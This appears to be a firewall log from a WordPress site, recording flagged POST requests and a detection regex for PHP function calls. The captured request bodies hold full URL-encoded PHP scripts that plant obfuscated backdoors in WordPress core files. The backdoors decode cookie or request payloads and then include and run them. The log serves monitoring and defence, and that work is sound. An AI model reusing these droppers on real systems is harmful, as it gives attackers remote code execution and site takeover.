3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncontent-length:4313\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nnX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:43:21","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncontent-length:3759\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\neT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:45:02","188.241.62.65","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqUVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncontent-length:3759\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\ntr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:45:07","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ST:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncontent-length:3759\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nST=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%